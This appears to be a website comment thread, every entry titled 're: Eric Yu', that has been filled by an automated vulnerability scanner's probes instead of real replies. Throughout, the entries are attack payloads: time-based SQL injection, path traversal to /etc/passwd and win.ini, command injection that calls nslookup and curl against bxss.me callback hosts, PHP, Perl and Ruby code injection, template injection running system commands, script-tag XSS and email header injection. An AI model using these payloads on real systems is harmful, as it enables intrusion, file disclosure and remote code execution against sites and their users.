re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+113-113-1=0+0+0+1
re: Eric Yu
-1 OR 3+113-113-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
JBPWHELH'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 945=(SELECT 945 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 316=(SELECT 316 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 991=(SELECT 991 FROM PG_SLEEP(15))--
re: Eric Yu
S1UBBuUp' OR 297=(SELECT 297 FROM PG_SLEEP(15))--
re: Eric Yu
dDrqDGHx') OR 965=(SELECT 965 FROM PG_SLEEP(15))--
re: Eric Yu
IlGgPFW7')) OR 534=(SELECT 534 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@thoTL
re: Eric Yu
1tLK9v6tO
re: Eric Yu
response.write(9587170*9079948)
re: Eric Yu
'+response.write(9587170*9079948)+'
re: Eric Yu
"+response.write(9587170*9079948)+"
re: Eric Yu
%0abcc:074625.67-10183.67.1d6f9.19990.2@bxss.me
re: Eric Yu
to@example.com>%0d%0abcc:074625.67-10184.67.1d6f9.19990.2@bxss.me
re: Eric Yu
../../../../../../../../../../../../../../etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../windows/win.ini
re: Eric Yu
<esi:include src="http://bxss.me/rpb.png"/>
re: Eric Yu
file:///etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../../proc/version
re: Eric Yu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Eric Yu
${9999755+9999539}
re: Eric Yu
../../../../../../../../../../etc/passwd%00.jpg
re: Eric Yu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Eric Yu
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Eric Yu
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Eric Yu
echo gqqywk$()\ rprwrf\nz^xyu||a #' &echo gqqywk$()\ rprwrf\nz^xyu||a #|" &echo gqqywk$()\ rprwrf\nz^xyu||a #
re: Eric Yu
/etc/passwd
re: Eric Yu
&echo bjwhpp$()\ nxhvte\nz^xyu||a #' &echo bjwhpp$()\ nxhvte\nz^xyu||a #|" &echo bjwhpp$()\ nxhvte\nz^xyu||a #
re: Eric Yu
%2fetc%2fpasswd
re: Eric Yu
|echo xevtma$()\ vqatty\nz^xyu||a #' |echo xevtma$()\ vqatty\nz^xyu||a #|" |echo xevtma$()\ vqatty\nz^xyu||a #
re: Eric Yu
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Eric Yu
)
re: Eric Yu
(nslookup hitdkdtbqygafe6f15.bxss.me||perl -e "gethostbyname('hitdkdtbqygafe6f15.bxss.me')")
re: Eric Yu
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Eric Yu
!(()&&!|*|*|
re: Eric Yu
$(nslookup hitltdzyjrnwycaf7c.bxss.me||perl -e "gethostbyname('hitltdzyjrnwycaf7c.bxss.me')")
re: Eric Yu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Eric Yu
^(#$!@#$)(()))******
re: Eric Yu
&nslookup hitlvmcggvcbqa4b5a.bxss.me&'\"`0&nslookup hitlvmcggvcbqa4b5a.bxss.me&`'
re: Eric Yu
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Eric Yu
&(nslookup hitniihnsauil7cbcd.bxss.me||perl -e "gethostbyname('hitniihnsauil7cbcd.bxss.me')")&'\"`0&(nslookup hitniihnsauil7cbcd.bxss.me||perl -e "gethostbyname('hitniihnsauil7cbcd.bxss.me')")&`'
re: Eric Yu
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Eric Yu
|(nslookup hitdhacxbhgyyde4be.bxss.me||perl -e "gethostbyname('hitdhacxbhgyyde4be.bxss.me')")
re: Eric Yu
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Eric Yu
`(nslookup hitklydwgjxwxabe69.bxss.me||perl -e "gethostbyname('hitklydwgjxwxabe69.bxss.me')")`
re: Eric Yu
file:///etc/passwd
re: Eric Yu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Eric Yu
;(nslookup hitpzyeqvrakl6853b.bxss.me||perl -e "gethostbyname('hitpzyeqvrakl6853b.bxss.me')")|(nslookup hitpzyeqvrakl6853b.bxss.me||perl -e "gethostbyname('hitpzyeqvrakl6853b.bxss.me')")&(nslookup hitpzyeqvrakl6853b.bxss.me||perl -e "gethostbyname('hitpzyeqvrakl6853b.bxss.me')")
re: Eric Yu
/\../\../\../\../\../\../\../etc/passwd
re: Eric Yu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Eric Yu
'.gethostbyname(lc('hitnj'.'xyxfaukk2f1ba.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(78).chr(100).chr(68).'
re: Eric Yu
/WEB-INF/web.xml
re: Eric Yu
Http://bxss.me/t/fit.txt
re: Eric Yu
".gethostbyname(lc("hitcw"."clqzwwhmfa9ca.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(67).chr(104).chr(84)."
re: Eric Yu
http://bxss.me/t/fit.txt%3F.jpg
re: Eric Yu
C:\WINDOWS\system32\drivers\etc\hosts
re: Eric Yu
/etc/shells
re: Eric Yu
../../../../../../../../../../windows/win.ini%00.jpg
re: Eric Yu
c:/windows/win.ini
re: Eric Yu
/../../../../../../../../../../boot.ini
re: Eric Yu
bxss.me
re: Eric Yu
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Eric Yu
..\..\..\..\..\..\..\..\windows\win.ini
re: Eric Yu
"+"A".concat(70-3).concat(22*4).concat(106).concat(82).concat(108).concat(80)+(require"socket"
Socket.gethostbyname("hitbq"+"ffevxsieb29d3.bxss.me.")[3].to_s)+"
re: Eric Yu
HttP://bxss.me/t/xss.html?%00
re: Eric Yu
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Eric Yu
'+'A'.concat(70-3).concat(22*4).concat(120).concat(77).concat(104).concat(66)+(require'socket'
Socket.gethostbyname('hitnt'+'qplekzxn95d52.bxss.me.')[3].to_s)+'
re: Eric Yu
bxss.me/t/xss.html?%00
re: Eric Yu
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Eric Yu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Eric Yu
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Eric Yu
';print(md5(31337));$a='
re: Eric Yu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Eric Yu
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Eric Yu
";print(md5(31337));$a="
re: Eric Yu
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Eric Yu
${@print(md5(31337))}
re: Eric Yu
WEB-INF/web.xml
re: Eric Yu
'"
re: Eric Yu
${@print(md5(31337))}\
re: Eric Yu
WEB-INF\web.xml
re: Eric Yu
<!--
re: Eric Yu
'.print(md5(31337)).'
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
-1 OR 2+757-757-1=0+0+0+1 --
re: Eric Yu
-1 OR 3+757-757-1=0+0+0+1 --
re: Eric Yu
-1 OR 2+93-93-1=0+0+0+1
re: Eric Yu
-1 OR 3+93-93-1=0+0+0+1
re: Eric Yu
-1' OR 2+935-935-1=0+0+0+1 --
re: Eric Yu
-1' OR 3+935-935-1=0+0+0+1 --
re: Eric Yu
-1' OR 2+37-37-1=0+0+0+1 or 'uzMm9r3Y'='
re: Eric Yu
-1' OR 3+37-37-1=0+0+0+1 or 'uzMm9r3Y'='
re: Eric Yu
-1" OR 2+391-391-1=0+0+0+1 --
re: Eric Yu
-1" OR 3+391-391-1=0+0+0+1 --
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
G6B9XhMQ'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 91=(SELECT 91 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 819=(SELECT 819 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 120=(SELECT 120 FROM PG_SLEEP(15))--
re: Eric Yu
s6EK8y14' OR 88=(SELECT 88 FROM PG_SLEEP(15))--
re: Eric Yu
OL7uTQXm') OR 188=(SELECT 188 FROM PG_SLEEP(15))--
re: Eric Yu
nConVpWL')) OR 620=(SELECT 620 FROM PG_SLEEP(15))--
re: Eric Yu
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@bOChc
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1BCH46BOBO0
re: Eric Yu
response.write(9151855*9536613)
re: Eric Yu
'+response.write(9151855*9536613)+'
re: Eric Yu
"+response.write(9151855*9536613)+"
re: Eric Yu
../../../../../../../../../../../../../../etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../windows/win.ini
re: Eric Yu
<esi:include src="http://bxss.me/rpb.png"/>
re: Eric Yu
${10000202+9999163}
re: Eric Yu
file:///etc/passwd
re: Eric Yu
../
re: Eric Yu
)
re: Eric Yu
!(()&&!|*|*|
re: Eric Yu
redirtest.acx
re: Eric Yu
^(#$!@#$)(()))******
re: Eric Yu
echo yrbfjv$()\ orbypq\nz^xyu||a #' &echo yrbfjv$()\ orbypq\nz^xyu||a #|" &echo yrbfjv$()\ orbypq\nz^xyu||a #
re: Eric Yu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Eric Yu
&echo vdknhh$()\ cmzblt\nz^xyu||a #' &echo vdknhh$()\ cmzblt\nz^xyu||a #|" &echo vdknhh$()\ cmzblt\nz^xyu||a #
re: Eric Yu
'.gethostbyname(lc('hitzk'.'llncsjme07086.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(78).chr(113).chr(83).'
re: Eric Yu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Eric Yu
|echo kmocwe$()\ kixgri\nz^xyu||a #' |echo kmocwe$()\ kixgri\nz^xyu||a #|" |echo kmocwe$()\ kixgri\nz^xyu||a #
re: Eric Yu
".gethostbyname(lc("hitvs"."wlcgvzoc8899e.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(69).chr(120).chr(75)."
re: Eric Yu
/etc/shells
re: Eric Yu
expr 9000246044 - 967166
re: Eric Yu
gethostbyname(lc('hitmo'.'efezwsac19d36.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(67).chr(119).chr(76)
re: Eric Yu
../../../../../../../../../../../../../../etc/shells
re: Eric Yu
(nslookup -q=cname hitkkjxmcivhof84ff.bxss.me||curl hitkkjxmcivhof84ff.bxss.me))
re: Eric Yu
c:/windows/win.ini
re: Eric Yu
$(nslookup -q=cname hityftfuolqbud727a.bxss.me||curl hityftfuolqbud727a.bxss.me)
re: Eric Yu
bxss.me
re: Eric Yu
&nslookup -q=cname hittzuouokfnka8047.bxss.me&'\"`0&nslookup -q=cname hittzuouokfnka8047.bxss.me&`'
re: Eric Yu
Http://bxss.me/t/fit.txt
re: Eric Yu
&(nslookup -q=cname hitdumaelgltt0aa10.bxss.me||curl hitdumaelgltt0aa10.bxss.me)&'\"`0&(nslookup -q=cname hitdumaelgltt0aa10.bxss.me||curl hitdumaelgltt0aa10.bxss.me)&`'
re: Eric Yu
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Eric Yu
|(nslookup -q=cname hitsbltrfsrdya12bf.bxss.me||curl hitsbltrfsrdya12bf.bxss.me)
re: Eric Yu
http://bxss.me/t/fit.txt?.jpg
re: Eric Yu
`(nslookup -q=cname hitzestrgxixp54822.bxss.me||curl hitzestrgxixp54822.bxss.me)`
re: Eric Yu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Eric Yu
;(nslookup -q=cname hitrfwlthkgkd8acde.bxss.me||curl hitrfwlthkgkd8acde.bxss.me)|(nslookup -q=cname hitrfwlthkgkd8acde.bxss.me||curl hitrfwlthkgkd8acde.bxss.me)&(nslookup -q=cname hitrfwlthkgkd8acde.bxss.me||curl hitrfwlthkgkd8acde.bxss.me)
re: Eric Yu
';print(md5(31337));$a='
re: Eric Yu
|(nslookup${IFS}-q${IFS}cname${IFS}hitqwywlgpcfcbd332.bxss.me||curl${IFS}hitqwywlgpcfcbd332.bxss.me)
re: Eric Yu
";print(md5(31337));$a="
re: Eric Yu
'"()
re: Eric Yu
&(nslookup${IFS}-q${IFS}cname${IFS}hitiwawszdoco0b6f5.bxss.me||curl${IFS}hitiwawszdoco0b6f5.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitiwawszdoco0b6f5.bxss.me||curl${IFS}hitiwawszdoco0b6f5.bxss.me)&`'
re: Eric Yu
${@print(md5(31337))}
re: Eric Yu
'&&sleep(27*1000)*cqpylw&&'
re: Eric Yu
${@print(md5(31337))}\
re: Eric Yu
"&&sleep(27*1000)*jhmxdc&&"
re: Eric Yu
'.print(md5(31337)).'
re: Eric Yu
'||sleep(27*1000)*cghflr||'
re: Eric Yu
HttP://bxss.me/t/xss.html?%00
re: Eric Yu
"||sleep(27*1000)*nmxpnj||"
re: Eric Yu
bxss.me/t/xss.html?%00
re: Eric Yu
"+"A".concat(70-3).concat(22*4).concat(111).concat(82).concat(107).concat(86)+(require"socket"
Socket.gethostbyname("hitcv"+"gtsmeexa628ac.bxss.me.")[3].to_s)+"
re: Eric Yu
'+'A'.concat(70-3).concat(22*4).concat(103).concat(89).concat(118).concat(82)+(require'socket'
Socket.gethostbyname('hiteb'+'ohfjeasl33a14.bxss.me.')[3].to_s)+'
re: Eric Yu
'A'.concat(70-3).concat(22*4).concat(109).concat(82).concat(99).concat(80)+(require'socket'
Socket.gethostbyname('hitvl'+'grzyeqrc98c5d.bxss.me.')[3].to_s)
re: Eric Yu
'"
re: Eric Yu
replies
re: Eric Yu
<!--
re: Eric Yu
replies
re: Eric Yu
replies/.
re: Eric Yu
'"()&%<zzz><ScRiPt >iJC2(9467)</ScRiPt>
re: Eric Yu
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitcvxekqkyzkcf688.bxss.me")}}
re: Eric Yu
'"()&%<zzz><ScRiPt >iJC2(9597)</ScRiPt>
re: Eric Yu
9177687
re: Eric Yu
jE3k13I7
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
w0LjPe6A'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 518=(SELECT 518 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 834=(SELECT 834 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 907=(SELECT 907 FROM PG_SLEEP(15))--
re: Eric Yu
oTA1F59v' OR 478=(SELECT 478 FROM PG_SLEEP(15))--
re: Eric Yu
4sApLt9Q') OR 592=(SELECT 592 FROM PG_SLEEP(15))--
re: Eric Yu
TTaWFG1J')) OR 464=(SELECT 464 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@RKK7K
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
hkunjMNK
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
4dLJGzR3'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 805=(SELECT 805 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 128=(SELECT 128 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 241=(SELECT 241 FROM PG_SLEEP(15))--
re: Eric Yu
